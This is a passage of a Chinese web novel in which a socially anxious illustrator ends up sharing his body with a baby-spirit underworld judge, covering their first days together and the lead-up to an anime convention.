《地府日常》
1. 第 1 章
雨夜,昏暗的灯光被大雾晕染开,朦胧的撒在树冠上,只露出一点细碎的微光。
吴惟一手提着黑色的垃圾袋,一手撑着伞,小心翼翼地避着水坑。
忽然一个晃神,又是一脚踩到水坑里,吴惟看着自己快湿透的裤腿,很无奈地小声吐槽:“真不知道是哪个鬼才想出来的,居然把路灯嵌在树冠里,搞的院子这么黑,现在好了,下个雨连水坑都看不见。”
雨越下越大,伴随着雷鸣,吴惟抬头望天,检讨了一下自己的脑抽行为,“也不知道为什么,明明是雷阵雨,过会儿就停了,但偏偏看到那带垃圾实在忍不住,非要现在下来扔,明明明天再扔也不是不行…”
但吴惟行事总是凭感觉,尤其是这种可能会影响到自己心情的事,虽然扔垃圾这个举动会导致浑身湿透,但至少不用强迫症总是想着那袋垃圾。
“难不成这是什么上天的启示不成?”
作为一个阿宅创作者,不论何时都在想设定,这是自由插画师的职业素养,作为二次元世界观,主观意识往往是决定人生的关键。
比如雨夜往往意味着要掩盖什么,黑夜往往象征遮蔽,而雨水能够洗清一切不该出现的痕迹。
尤其是连路灯都吝啬的的昏暗小区…
“往往鬼怪最喜欢在这种环境下作案了。”
“这时,无辜的人闯进现场,会发生什么呢?”
忽然一道光劈开夜色一瞬,又迅速消失,一息过后,雷鸣声才晃晃悠悠,拖拖踏踏追来。
吴惟心念跟着一转:“如果按照启示说,不至于雨天跑出来就为了遇见鬼,或许是有人劈开天幕,一不小心将天河水倾倒下来,才更符合启示的意义。”
“所以,它只是想让我淋一场雨是吧…”
吴惟摇了摇头,这个设定没啥意思,如果设定在来人了,好像还是挺俗套。算了,还是想鬼吧。
“一个倒霉鬼,雨夜出门扔垃圾,不小心被雷劈,然后觉醒神通看到鬼什么的,虽然也挺俗套,但是比较符合我现在的行为…”
吴惟一边胡思乱想一边移动,到了垃圾站点收起伞,把垃圾扔进去,回过头用双手把伞使劲抖了抖,尽量给伞减轻点压力。
在他正准备重新撑伞往回走的时候,突然感觉什么东西朝自己这边撞来,下意识抬头,一支笔“砰”的一下砸中他印堂…
“原来不是被雷劈,是拿开保护伞的瞬间试试就逝世,我不会真的见鬼吧?”
吴惟再胡思乱想中晕倒,意识陷入黑暗的前一秒,他听到了一个稚嫩的声音,崩溃大喊:“啊啊啊你不要乱吸东西啊,这是个活人!活人!!!”
.
时间退回十几分钟前的另一边。
“阿善,快点,别让他给逃了!”
雷光下,身缠不可见血光的无人机模型,以一种不科学的速度飞掠而过,闪着金光的黑色毛笔紧随其后。
好在有夜幕遮蔽,加上金光和血光一样,是正常人肉眼不可见的,倒不至于引起什么人的注意,不然隔天网上就会出现什么“不明飞行物出现”,“无人机驱动升级,可以瞬息千里”,“毛笔居然可以上天,有仙人路过此地”之类的传言。
若是让吴惟看到,肯定又该想那个雨夜遮蔽行踪的设定了。
婴灵一边在笔内空间操控着方向,一边骂骂咧咧,“气死我了,这臭鬼,早不越狱晚不越狱,偏偏在本官去地狱借人的时候跑,搞的跟老娘放跑的一样!!”
[小孩子不可以称老娘哦~]一道意识盘桓在婴灵脑海里,换来了婴灵暴躁一怼。
“臭笔,谁是小孩子!那边,它跑进那堆大楼中间了!”绷着三岁小娃面容的婴灵刚开口,就看到无人机转弯,赶忙追上。
小区地形复杂,楼层有高有低,楼间距也不太够,各种乱七八糟的植被丛生,一看就是缺乏管理。
毛笔被无人机上上下下放风筝,最后一个转弯,消失在墙后,毛笔顿时失了目标。
“这臭鬼真能躲,气死我了!”婴灵握着粉嫩的小拳头,在膝盖上锤了两下,气鼓鼓地弯下腰,把胳膊肘支在膝盖上。
此时她正盘坐在笔内空间中,外界,毛笔失去了目标也慢慢立了起来,漫无目的地晃悠了一圈。
“怎么办阿善,我不擅长追踪,就这么让他逃了好不甘心,回去肯定还要受罚,呜呜呜…”
婴灵越说越委屈,她成神年岁小,几百年都是被人宠着过来的,何时受过这种委屈。
赏善司是地府奖赏生前有善举、或有功德在身的鬼的地方,婴灵作为赏善司判官,平时见到的鬼也多是善良之辈,虽然也会与恶鬼打交道,但是并不多。
地府对待鬼怪,除了生前的功过以外,也是有另外一套赏罚机制的,比如雇佣一些罪业不是很深的小鬼去做一些平常鬼不愿意做的活,按照功劳来减免他们一些刑期之类的。
这次去地狱那边借鬼,被那看起来憨厚老实的恶鬼耍了一遭,还让这鬼偷了看管的令牌给溜了,可不就把小判官给气到了,二话不说提着判官笔就追了出去。
如今还追丢了,这事肯定不能善罢甘休。
虽然人不是她放跑的,但堂堂判官居然连个小鬼都看不住,说出去太丢人了,婴灵发誓非要揪出这个讨厌的恶鬼再回地府。
[不然,先在人间逗留一段时间,赏善司事物不少,那鬼应该不会想到我们会在人间停留,说不定等风头过去了,就会出来兴风作浪。]判官笔提议。
“也只能如此了。”
还好自从上任以来,她就没离开过岗位,如今当是把假期补上了。
婴灵双手掐诀,一缕金光没入地下,“我给地府报了信,后土娘娘会找人暂代我的工作。咱们接下来去哪?”
[找个有缘人跟着,用人气来遮掩一下气息,让我看看…]
“嗯,那你要好好找了,不能给对方带去什么灾难。”
毕竟作为地府鬼神,如果随便附身普通人,很有可能会对对方会造成不小的影响,除了一些体质或者命格特殊的人群。
这样的人并不多见。
[我选人你还不放心?]
当初婴灵就是它选的,现在已经在地府当了几百年判官,让它选人,肯定会选择最契合他们的。
半响…
[咦?这个气息是…]
判官笔嗖的一下的飞出去,绕了一大圈,直直地朝下面的人影撞去。
“不是,等等,这样会撞上的!!”
婴灵吓了一激灵,想接过判官笔的控制权已经来不及了,惯性让它直愣愣地撞到了对方脑袋上,下一秒对方的灵魂被判官笔吸进空间,婴灵直接炸毛大喊出声:“啊啊啊你不要乱吸东西啊,这是个活人!活人!!!”
[……]
[抱歉,顺手了,他的灵魂太纯粹了,我好喜欢]
“?”
这一幕似乎在哪见过…
.
温暖,黑暗,周身好像空无一物,像是飘在空中,又像是被什么液体包裹,触碰不到任何东西,这一刻身体仿佛化成了液体,慢慢下沉,融化…
“完了完了,臭笔,他还活着吗?”
什么?谁死了,我只是化…嗯?
吴惟突然感觉不太对劲,平时冥想的时候,虽然对身体的感受和对想象的感受也挺敏感的,但是不至于这么真实,难不成自己真化了?
这个想法一但成型,思维就一发不可收拾,吓得吴惟猛然睁眼!还好还好,没有鬼压床睁不开,不过,这是…梦中梦?
黑暗,但自己意外的好像视力并没有受影响,眼前是个小娃娃,两三岁左右,白白胖胖,瞪着乌溜溜的大眼睛,仰着小脸看着自己,像年画娃娃走进现实,特别可爱。
可爱归可爱,但她身上穿的官服,一看就不似人间,加上这诡异的环境,绝对不会是cos!
这是一个正儿八斤的鬼神,还是个婴灵。
吴惟懵了,脑子里念叨着:“雨夜出门扔垃圾,不小心被雷劈
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,然后觉醒神通看到鬼什么的…我的设定居然入梦了…”
小娃娃看他醒了,本来挺高兴的,听到这一句,也有点懵,“啊?什么设定?”
“……”吴惟呆住了,这小娃能听到自己的心声?吴惟自闭了。
吴惟内心的小人已经捂住了脸。
婴灵:“……”
阿善,快快快,快把这心灵感应给关了!吓到人家了!
沉默良久,婴灵率先开口:“你好,我是赏善司判官,追着逃犯来到人间,对不起,刚刚不小心把你撞晕了,这里是判官笔的空间里,你现在被阿善冲撞得魂魄有些不稳,这里能量可以滋养魂魄,等你没事了,我就把你送回去,真是不好意思。”
吴惟嘴比脑子快,来了一句:“我可以把这个设定写在我的世界观里吗…”
该说不愧是创作者吗,刚说完吴惟才反应过来自己的处境,以及自己不礼貌的行为,内心的小人又开始悄悄自闭。
婴灵:“……”
婴灵不说话,婴灵惊呆了,这什么脑回路,人间的活人都这么神奇嘛?
吴惟看着对方震惊的表情,气血上脑,脸红的不行,假装什么事都没发生,接轻咳一声,接过刚才的话头:“咳,不是,我是想问我是不是要晕好久,我的身体怎么办?”
“这个我也不清楚,不过我已经把你的身体弄回家了,现在躺在床上…”
婴灵抬看了一眼“上空”,然后点点头,继续说道:“刚刚阿善告诉我,因为你魂魄不稳,最好不要长时间离开空间,但是身体长时间没有魂魄会出事,所以最好的办法是咱们俩换着使用身体,直到你的魂魄养过来为止。”
小娃娃站起身,郑重对吴惟做了个揖,说道“给你带来麻烦是我的疏忽,实在抱歉,如果你有什么需要,在我的能力范围之内,不违背本心,我都可以帮你解决。”
吴惟看着她严肃的小脸很想笑,终于理解自家老妈为啥特别喜欢提起小时候扳着个脸当小老师的事,那么一瞬间好想捏捏…
咳,又跑偏了,大概是因为从小到大经常倒霉吧,所以遇到什么事情都会有一种处事不惊…脑子不在线的状况。
不过,问题不大。
“那就这样吧,就当休假了,不过每天还是要分出时间来画会儿稿子,我能在身体里呆多久?”
“大概一个时辰左右,最好是上午,上午阳气足,多晒晒上午的阳光对你的灵魂也有好处。”
吴惟想了一下,一个时辰就是两个小时,自己没什么不良作息,上午工作也行,点头应了,然后提到要求,“另外,我可以把这段经历写到自己的设定里吗?”
小娃娃歪头,小娃娃不理解。
吴惟解释道:“我是一个画师,除了一些同人作品以外,还会产出一点私人的oc和世界观设定,oc就是角色设定,经常会用自己的经历和想象去填补设定创作,这种离奇的事写到设定里一定很精彩,所以我想要一个授权。”
婴灵眼睛瞬间亮了,作为小娃娃,最喜欢的就是从人间带来的各种小人书,什么绘本漫画之类的。
“你是漫画作家吗?!”
吴惟:“不是啦,漫画剧情连贯,还要定期更新,我不太行,我最多是做点有意思的设定,放在同一个世界观里,还会经常补充设定,会比较乱,故事也都是零零碎碎的,基本是以原画和插画为主展示的,偶尔会做做手书和小条漫,不会做那种大篇幅的。”
婴灵依旧很感兴趣,“那我可以看嘛,不会乱动你的东西的!授权可以,只要不要让人发现这是真实的就可以啦!”
吴惟作为创作者自然很高兴多一个读者,当即点头答应下来。
[不是,崽,这个活人接受这么快,你不觉得哪里不太对吗?]判官笔无语望青天。
可惜这句吐槽婴灵没看到,她只顾着高兴,第一次当人耶,好兴奋呢。
判官笔无奈叹气。
[果然几百年了还是小娃娃呢。]
.
2. 第 2 章
清晨的一缕阳光,从没拉紧的遮光帘缝隙中钻进来,正正好洒在吴惟脸上。
这张脸倒是不太符合现在的审美,却意外的耐看,天庭饱满,脸颊丰润,眉眼疏淡,五官流畅细腻,衬着眉心一点朱砂痣,若是嘴角带点微笑,仿佛庙里的神像活了过来。
虽然眼前的光线有点吵到眼睛,但头一次体会这种温暖舒适的温度让婴灵不舍得睁开眼睛。
“哇偶,你们活人待遇这么好,呜呜呜好浓郁的清气,有躯壳保护还不怕被同化,真的好舒服!”
床上的人是没有动静,但意识空间的小娃娃早就开心地打起了滚。
清气最是养魂,婴灵作为鬼神,很喜欢这个状态。
此时的判官笔为了两人更方便交换身体,也为了更好的迷惑逃犯鬼的视线,和吴惟签订了临时契约,经吴惟同意,住进了他的上丹田,还顺便在里面开辟了一个小小的意识空间。
表现在外,就是眉心那一颗小小的朱砂痣,此时意识空间的吴惟,盘腿而坐,姿态挺拔,凤眼习惯性微垂,看着打滚的小孩儿,嘴角难得露出一丝笑容,果然如之前所想的一般神性。
就是这笑容,多少有点姨母笑的意味。
吴惟在一边看得有些无奈,疑惑道:“你没见过阳光吗?”
“对呀,”婴灵翻了个身坐起来“我是女婴嘛,刚出生就被溺死了,几百年前是个什么情景,你们的历史应该有记录。”
几百年前,封建王朝,这么一说吴惟就明白了。
吴惟无奈叹气,稍微有点心疼,不过看她现在的样子,应该是被地府养的很好,这么一想,又为她感到高兴。
他没有继续追问身世,一来是他没有打探个人隐私的癖好,二来不好的事没必要多回忆,于是拐了个弯,问起了之前提到过的清气和同化是什么意思。
“你听说过《清静经》吗?”
吴惟思考了一会儿,说道:“原文不清楚,不过以前听过一首歌的念白里有它的台词,我有专门去搜过…”
吴惟清了清嗓子,用那首歌里的调调念道:
“吾不知其名,强名曰道。
夫道者:有清有浊,有动有静;
天清地浊,天动地静;
降本流末,而生万物。
清者,浊之源,动者,静之基;
人能常清净,天地悉皆归。”
念完偷偷瞄了婴灵一眼,有些不好意思地轻咳了一声,解释道:“那首歌特别好听,我单曲循环了好久,所以记得很清楚,你说的清气应该就是这里面说的天清地浊的清了吧?”
婴灵刚刚看他念经…哦不,念白的架势,配上那一张略显神性的脸,还真有点唬人,这家伙莫不是哪个神仙转世?
直到听到那声轻咳才回过神来,说道:“那个文本还挺会截取的嘛,对,没错,就是这样。”
这世间压根没有转世一说,差点被一张脸带跑偏了。
“天地初开之时,清气上升为天,浊气下降为地,之后才有了人间。清气和浊气说白了就是阴阳的两极,很多事物你都可以从中找到对应关系,比如天地,虚实等,早晨的阳光是上升的,清气是最充足,多晒晒早晨的太阳对魂魄有好处哦~”
“啊…是这样啊,”吴惟一边听,一边发散思维,“可是不是说鬼怕阳光么,你反而觉得晒太阳很舒服,难道是因为你是判官?”
“不对不对,判官也是地府的,也应该属阴啊,虚实…哦对啊,天对应的是阳,但是天是虚的,魂魄也是虚的,所以魂魄其实应该属阳,应该喜欢清气才对,这就说的通了!”
“但是鬼为什么会怕阳光呢,难道跟你说的同化有关?”
婴灵听得目瞪口呆,这么几句话分析了一大堆。
吴惟从自己的思维里暂时回过神来,看到婴灵的表情,有点不好意思,“啊——对不起啊,我这不是想世界观想多了,难免听到一些好玩的东西就开始加设定,咳,那个,我猜的,有几分准的吗?”
婴灵倒吸一口冷气,“嘶…这就是创作者嘛,恐怖如斯…”
随后她给予了肯定,“你猜的都没错,即使是修为很高的鬼,在人间也要尽量避免直接接触人间的空气,哪怕是黑夜,也会被不断同化,只不过比起阳气比较重的白天,要稍微好一些,所以我这次出行也是驾驭有实体的判官笔才敢出现在人间。”
“那么地府是在地下?因为大地有实体,所以不怕被同化?我好像又理解了,没有实体的鬼生活在实体里,有实体的人需要生活在虚体,或者说空气中,人体是实的,又能保护灵魂,人活着,可以说是灵魂在驾驭人体在清气中行走?人死了就像器物损坏不能使用了,所以灵魂只能离开回到地府?好有趣的设…咳…”
“你想说设定是不是,别以为我没听到!”婴灵无语,但婴灵要吐槽,“能不能不要满口设定啊喂!”
“抱歉,习惯了…咳!”吴惟眼神心虚的到处乱飘。
“虽然我是第一次听到这种说法,但是你这么猜其实也没问题,”婴灵吐槽完,略微思索了一下吴惟刚刚的话,“死亡的人身阴气太重,但也会漏成筛子,无法保护灵魂不被清气同化,同时也会反伤灵魂,所以死亡之后一定要离开肉身前往地府,不然要么被浊气侵蚀,要么被清气同化。另外地府确实就倒悬在地下,我们穿行在实体的土壤里,连地势走向都和人间是镜像的。”
“这样啊…”吴惟惊叹一声,又想起来市面上流传的说法,问道:“但是为什么主流的说法中,一有鬼怪出现,都会说鬼魂阴气重之类的…”
婴灵思考了一下,感觉有点回答不上来,含糊道:“可能是因为鬼魂出没的地方阴气需要很重才能隔离清气的同化吧,人间流传的一些东西,也有可能会因为政治之类的因素发生改变,毕竟那些重男轻女的臭男人,可喜欢把浊气归结为脏,把阴气归结为不好的东西,什么阴暗阴湿阴谋,噫…”
婴灵露出一副嫌弃的模样,“明明只是单纯相对的概念,非要赋予不好的含义!”
“啊,对不起,我没有说你,判官笔能选择你,说明你是一个很好的人!”婴灵发现自己说错话之后赶忙补救道。
“那什么,你想知道什么以后再聊,我得去给你的身体找点吃的,你今天刚进空间,不宜回肉身!”
“好的!”吴惟没说什么,他其实并不在意,毕竟婴灵说的也是实话,何况她是受害者,怨念深很正常。
哪怕到现在,也会有各种不平等现象,男女之间的矛盾也因为历史遗留问题和某些人矫枉过正开始发展到了奇怪的方向,不过…“你给我讲这么多没问题吗,我一个活着的普通人…”
“你也算不上普通,”婴灵小声嘀咕了一句,回道“我的意思是,你遇到我之后,与地府也算是有一丝连结,有些懂得望气的人,有可能会发现这一点,以后万一有什么事,多了解一点总归是好的。”
“……”吴惟沉默,吴惟又有些想自闭。
想象自己的运气,别万一了,万一就是一万,呜呜呜平静颓废的生活怕不是就此告辞了…哎…
婴灵眨眨眼睛,不明白为啥对面突然忧郁,不管了,先去找吃的!
婴灵一转身,消失在意识空间里。
与此同时,床上的吴惟睁开了眼,好奇地打量周围的环境,之前回来比较着急,并没有仔细看。
吴惟家是一个loft公寓,因为刚好在东南角,两面都是大窗户,采光特别好。
二楼卧室挑空,东边拉开帘子能看到一楼小阳台,或者说小花房,里面错落有致种了不少…蔬菜?
不过婴灵毕竟是鬼,还是刚出生就成了鬼,自然不认识这些。
“咳,就是想自己种点东西,看着绿色心情好,种花不如种点可以吃的,虽然打理起来挺耗费时间的,我能出去的时间太短了
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,之后要麻烦你帮我打理一下了。”
婴灵表示很感兴趣,痛快答应了。
帘子下方是一排吧台,两边专门定制的pvc痛柜中摆放了不少周边、手办、玩偶之类的,一边风格比较杂乱,另一边非常统一。
“左边是我买的,和别人换到的谷子,右边是我自己找厂子定制的,自己画的一些作品。”
“很好看!”
床是摆放在地台上的,说床也不准确,应该说是一个窝,窝里窝外,台上台下都摆放着不少玩偶,位置好像也精心设计过,看起来很温馨。
“那什么,主要是这东西四周比较高,睡起来安心。所以…”
“所以?”
“我买的是放大版狗窝…咳…”
“…不过确实挺舒服的。”
但是这里的环境有这么清晰可见吗,难道是因为自己最喜欢的空间就是卧室?吴惟稍微有点茫然了。
其实到现在他依旧会下意识认为自己其实在做梦。
卧室是用大立柜隔开的,中间没有墙,出了卧室是一块比较开阔的空间,右手边是楼梯,对面是洗手间。
洗手间墙靠着摆放着一台跑步机,以及其他小型健身器具。卧室柜子背面是一整面墙的镜子,旁边还摆放了一台摄像机、人体模特以及一些看起来像是cos道具的东西。
“这里是健身和摆动作找灵感用的空间,对面是卫生间,浴室也在里面。”
婴灵进去看了一眼,空间挺大,干净透亮,浴室差不多就有两平方,不算小,洗手池和马桶距离东边窗户就有八十公分了,挂衣服绰绰有余,甚至连马桶还是智能马桶。
“去一个地方,环境好不好,就看卫生间了,厕所舒适生活质量才能提高。”
“…人间的话,好像确实如此。”
楼梯正对面是鞋柜隔断,下了楼,右手边是一个小卫生间,或者说客卫,只有马桶和洗手台。
卫生间隔壁就是开放式厨房,一般这种loft公寓,厨房的水电位置就在那里,最好不要改。厨房里的器具也挺全的,集成灶,水盆,吊柜,酒柜,橱柜直接连接吧台,吧台挺大,应该是当做餐桌使用的。
楼梯下方是一排跟墙板一样的楼梯柜,但是从下方可以抽出来,冰箱被排进了楼梯柜里。
厨房对面的客厅,算不上客厅,没有沙发,只有一个很大的工作台上面各种乱七八糟的工具,甚至都随意摆放,什么电脑、平板、手绘屏、各种人体模型、自拍杆、草稿纸、彩铅马克笔,甚至连毛笔和国画颜料都有。
“那里是工作区域,我东西有点多也有点乱,平时写写画画的,咳,手绘的东西其实用的不是很多,基本上都是找灵感用的。”
工作台后面还有一个很舒服的懒人椅,摆在蔬菜区附近因为二楼只看到后面一半,并没有看到这个椅子。
“这里很适合放松,尤其是看着这些绿色的东西,很舒服,也很适合找灵感。”
“确实,我喜欢你家!”
“谢谢喜欢,如果以后你需要装修了,我可以帮你出图纸,虽然不是很擅长。”
虽然地府好像不太需要装修。
.
婴灵站在厨房边,沉默良久。
“怎么了?”吴惟率先开口。
“我死太早了。”
“死太早怎么…哦对,你不会做饭…”
“……”
“……”
一人一鬼相对无言。
其实吧,哪怕你死的时候已经会做饭了,集成灶也不一定会用…
好在沉默没有太久,吴惟想起冰箱里还有速食,指挥婴灵打开冰箱,找到速食包子,烧好水架好锅,打开电磁炉…
“还好我家用电,不至于像一些小说里做不好饭把厨房烧了。”
[恭喜二位,顺利通过第一关~]判官笔在一边偷笑。
.
3. 第 3 章
婴灵不在空间内,判官笔的吐槽没人能看到,她正和筷子较劲。
“乖,要不咱们用勺子吧…”吴惟感觉有些没眼看,包子都快被婴灵戳个稀烂了也没夹上来一口。
但是婴灵是个要强的孩子,她就不,非要夹起来不可,好在功夫不负有心人,虽然完整的包子没了,但是好在能夹起来一点点肉屑,也算有一点点进步吧…
吴惟捂脸,吴惟不忍直视,吴惟选择不看。
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婴灵跟包子较劲的同时,吴惟也想了很多,说实话刚刚在卧室的时候还有一丝自己在做梦的梦幻感。
但按理说做梦再真实也不会真实到这种程度,他不是没有过感官上很真实的梦境,甚至梦中和伙伴们的感情都能牵扯到现实,让他醒来一枕头的眼泪。
但梦到的场景绝不会和现实一模一样,要么现实拼接,要么现实加幻想,要么干脆就是不存在的,绝对没有这样复刻一整个房子,甚至于卫生间都清晰可见。
而且做梦除了一些没营养的梦,比如梦见自己光着屁-股站在大街上无处遁形;梦见到处都是恶心的粪便,被困在又脏又臭的厕所怎么也出不去;梦见自己飞起来但怎么都飞不高;或是梦见被人追杀等等这类无厘头的,反应心里问题梦以外,他一般能够感觉到自己在做梦,并且梦能有效交流以及控制梦的走向,以至于能够醒来也有深刻印象的时候,都是在故事高潮部分。
比如他曾经梦到自己遇到的一个很眼睛干净透亮的少年,总想着拯救别人,他记得最清晰的一幕就是自己看着对方献祭了自己,拯救了世界,于是“我”和小伙伴们打算找到可以回到过去找拯救对方的契机,结果一晃神发现原来自己已经回来过了一次,并且失败了,这次对方的死亡更加提前了。
虽然现在还没有“醒来”,但认真来讲梦里的感官并不真实,受伤了大脑会觉得我应该很疼,然后做出很疼的反应,但身上本身并不疼。
被关在脏乱差的厕所里会觉得很臭很恶心,从而感受到生理不适,但其实闻不到臭味。
但现在是什么情况,对外界的反应真实可见,没有一点拼接感,甚至平平淡淡很温馨,一点也没有带入故事,没有故事高潮,只是聊完设定逛了一下家里,最后解决一下生理问题?
更何况自己在做梦的时候,很少会带入自己本身的职业,反而会给自己一个另外设定,做到一些平时做不到的事,或者不符合自己本身性格的事。
比如之前那个梦里,“我”和小伙伴们都是…那什么师,想不起来了,但能确定的是有类似异能的特殊力量,甚至那个要拯救的少年还是首席。
也就是到这一刻,吴惟才真正清晰的认识到,这的确不是梦。
“哎…”
吴惟无奈地叹了口气,果然自己的运气,就没好过,什么事都能摊上。有主角的运气没主角的命…希望自己别死的太惨…
不过,都和这位判官小小姐有了交情,死后应该会好过点吧,还算有点运气,但是万一被同化了,来个魂飞魄散…好像也不错?
就是真出事之前得把手机电脑格式化一下,省得意外死亡还要加一个社死,死亡不可怕,社死绝对不可以!
脑补自己众多死法之后,吴惟感觉社死也不是自己能掌控的,于是放下焦虑,选择摆烂。
“爱咋咋地,至少以我的运气不至于会死…但是如果吊着一口气…嘶…算了,不要再想想去了!”
要说为什么吴惟会那么悲观呢,这离不开从小到大的经历。
举几个简单的例子:
吴惟并不是一出来就当了自由插画师,曾经也有一段打工史。
当初他心仪工艺美术,认为能够成为非遗的艺术都应该有人继承,兴冲冲跑去一家很有名的陶瓷厂当学徒。
本以为最重要的事是学手艺,结果老板不当人,整天工作之余,还指挥他们厂里的员工做杂工,什么拔草啊,搬东西啊之类的可不少。
结果上班没两个星期,接连出事。
什么搬缸的时候,好好的缸突然半路腰斩,差点砸到他脚;什么接水的时候盖子没拧紧,一拎就撒了一裤腿,还好他穿的不是紧身裤,不然皮肤得烫烂;什么在楼下走着走着,临时摆在三楼的走廊的瓷瓶掉下来砸到他面前,什么好不容易自己喜欢的ip办了一场only,他为了不请假,只报名了周日一天的行程,结果临时通知周日加班把全勤给扣没了…
再往前数的话,像什么等车十次有八次以上,前一趟车刚好离开,什么去商场找团购的饭店,每次方向二选一必走反;什么特别喜欢的课程到他们那一届刚好被换掉了,什么抽卡必歪,什么明明从不逃课,只为了回家逃了一次就被点名了,什么上课但凡被点名一定是没复习或者不会的内容,什么下雨天打伞就不下,收起伞就开始下等等…
不过也不一定,说不定自己真的是主角命呢,至少从来没有真的出过事。
就像缸半路腰斩,最后没砸到脚;被开水泼一腿刚好穿的是阔腿裤,掉下来的瓶子不是正正好在头上只是受了惊吓,周末请假去参加only的时候,明明预报有雨,但是没让他碰上,直到他坐车离开省会的时候,当地才暴雨侵盆…当时他甚至还有心情吐槽一句,“6,贼老天,我就知道在上班那里卡我一下,就不会在下雨这里再卡我了。”
类似这种经历数不胜数,总之,不致命,但很磨人,这种主角命,大概谁也不会想要吧。
.
吴惟此人,自闭又社恐,从小就活得很疏离,每次和人交流要做足了心理建设才可以。
因为注意力都在世界之外,仿佛和世界双向拒绝一般,很多时候都像是一个看客一样游离在外。
不过往好处想想,因为这种状态,他从小就比同龄人成熟一些,从很小的时候,还没有oc、世界观等等概念的时候,他就开始构建自己的世界观,创作自己的儿子女儿了,怎么也能说一句走在了世界的前列,说一句二次元时尚小达人也没错。
也是因为这种游离在外的状态,使得他避开过很多人祸,至少他走夜路从来没遇到过什么不好的事,哪怕在他不知道的情况下,某些被口口相传列为最危险的路段也没用碰到过。
也许是因为存在感低吧,直到后来听说了那些经常走的地方出现了不少勒索啊,命案啊之类的,吴惟才后知后觉流下了冷汗。
但是夜路走多了也会遇见鬼,这不就遇到了,不过好在运气比大多数小说主角要好多了,遇到第一个鬼,是很好的鬼,甚至是官方的鬼。
没有什么乱七八糟的阴谋,也没有什么沉重的使命,最多最多可能在相处之余,需要帮小判官留意一下恶鬼的去处。
一天之中,吴惟指挥着婴灵做了很多事,从做一些简单的吃食到,怎么照顾花花草草,怎么使用健身器材,怎么解决生理需求,到怎么使用一些生活必备电器,怎么使用手机,怎么玩小爱同学等。
第一次接触这些,婴灵也不觉得无聊,玩得不亦乐乎,尤其是手机。
“果然人类的智慧是无穷的,人间有人间的方法,不过地府也不差哦,我们地府也有自己的交流网络,以后等你来地府,我带你逛逛。”
虽然婴灵的话里有诅咒自己早死的歧义,但吴惟还是欣然接受。
“那以后就拜托判官小姐了。”
“嗯嗯。”婴灵心不在焉地回道,此时她的心神都在吴惟的某博上。
这会儿刚好刷到吴惟去年画的一组地府人设。
抱着调皮孩童,被抓住舌头也不生气的温柔白无常,身材
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壮硕,不苟言笑,给人安全感十足的黑无常,黑皮,大胸,有八块腹肌的后土大神,一脸慈悲的地藏王菩萨…
“哇~这个后土娘娘好像啊,你见过后土娘娘吗?”婴灵手指上上下下来回滑-动看完其他设定又拐回来看了好几眼图上的后土。
“没有,只是根据一些资料和想象,没想到竟歪打正着了。”
吴惟忍不住笑了起来,他很喜欢别人夸他的画,尤其是歪打正着居然跟本尊很像,于是跟婴灵分享了心得:“之前搜到的资料,虽然有的说后土其实是男神,到宋代才成为女神的,但是如果从甲骨文演变来说,后是半蹲产子状,土是女性□□的形状,应该不会有人给男的取名后土吧。”
“噗…精辟。”婴灵嘲笑道:“哪个男的能生孩子,后土娘娘可是掌管生育的神明!”
“我有搜到后土娘娘确实和生殖崇拜有关,所以突出胸部,再加上上古时期应当是以强健为美,所以又加了腹肌,想要强调力量感,强调野性美,再想想最早的时候,应该并不避讳展示自己的生育能力,所以干脆把胸腹和肌肉都给露出来,咳…我保证画的时候绝对不是带情色的眼光画的!”最后一句,是因为吴某人突然想起来自己性别好像不太对,才刻意加上的。
婴灵呢…婴灵当然能感受到了,毕竟有判官笔在,暴露在外的灵魂是纯澈还是浑浊一眼就能看出来。
更何况表现在画面上,别说为了过审还是把胸部遮掩了一部分,就算全部裸露,对人体的幻想都会被扑面而来的力量感冲散。
婴灵虽然不懂绘画,但是基本的审美没有问题。
婴灵再次表示赞美:“没关系,画的很棒,和后土娘娘的气质一模一样,你更厉害!”
“不过我当时画的时候不清楚赏善司的判官竟然是小娃娃,脑补了最传统的文官形象。”赏善司判官,流传在外的版本是魏征。
“其实这样也没问题啦,”婴灵解释道:“其实判官也不是只有四个,是分片区的,地府也是有地域划分的哦。”
“懂了,就像是每个市都有书记一样。”
“没错。”
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看完吴惟的作品,婴灵把某博退回主页,然后在关注列表看到了一条漫展宣传,“这是什么?”
“是漫展,”吴惟一边给婴灵解释漫展的是什么,一边让婴灵点进去看一下,发现是本市的,还挺高兴,“时间在下周末,好久没去逛展子了,要不要去玩一下?”
作为一个社恐,去展子其实还是少数,偶尔想感受一下氛围,或者感兴趣的ip有什么特别的活动才会去,但大部分时候还是远远看着,那些参与感强的活动基本没有参加过。
比如集邮。
婴灵果然起了兴趣,小孩子嘛,很难很难拒绝和ACG相关的东西。
于是两人决定用这一周多一点的时间好好熟悉怎么使用这具身体,等下个周末去漫展玩,也不怕控制不好身体出什么问题。
毕竟小孩子的身体和成年男性的身体差别挺大的,吴惟能出现的时间不多,婴灵看人间什么都新奇,也想自己逛逛呢。
约定好下周逛漫展,吴惟指挥婴灵在备忘录待办事项里记录好,瞟了一眼手机上的时间。
已经快十一点了,该洗洗睡了。
“小孩子不早点睡会长不高的。”
“我用的是你的身体,你都25了,本来就长不高了!”
虽然嘴上这么说,但是婴灵还是乖乖爬上床,毕竟不是自己的身体,不能乱作。
“小爱同学,关闭窗帘,关闭所有灯。”
“已为你关闭。”
“晚安!”
[晚安!]判官笔升起安睡符阵,以保证作为灵魂的吴惟也能睡个好觉。
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4. 第 4 章
这是离歌第一次出cos,为此她自学当了妆娘,用了一年的时间去学习和实践,期间和多位coser合作过,大家对她的手艺赞不绝口。
为了cos自己最喜欢的角色,她不仅学了化妆,还专门去健身塑形,虽然做不到和角色一样八块腹肌,但至少已经有了四块。
她要cos的角色是玄鸟,是绘圈里不是太出名的一个名叫“事事无为”的太太画的oc。
人物整体上窄下宽,上身几乎全身赤裸,仅有胸部被几片羽毛遮挡,腹部的肌肉很嚣张地裸露在外,彰显看起来劲瘦的腰肢是多么有力,尾椎上方是一对黑色大翅膀,合抱在身前,尾椎向下,是羽毛堆砌蓬松的裙子,后摆如同尾羽一般高高翘起,同样高高翘起的还有头上的黑色长马尾,显得干练又优雅,还不失野性。
她喜欢这个角色好久了,但是因为各种原因,拖到现在才鼓起勇气出。
由于这套衣有点过于暴露,本来在现场都稍微有点心里障碍,更别说要做地铁过去,只能带上所有配饰,到现场才换上。
到了漫展现场,离歌发现,漫展官方提供的换衣间距离场地有些远,中途还要上两层电梯。虽然还是有些不好意思,但至少这两层楼还是有很多coser的,不会显得自己多么突兀。
离歌,加油,你可以的,想想孤傲自信的玄鸟!
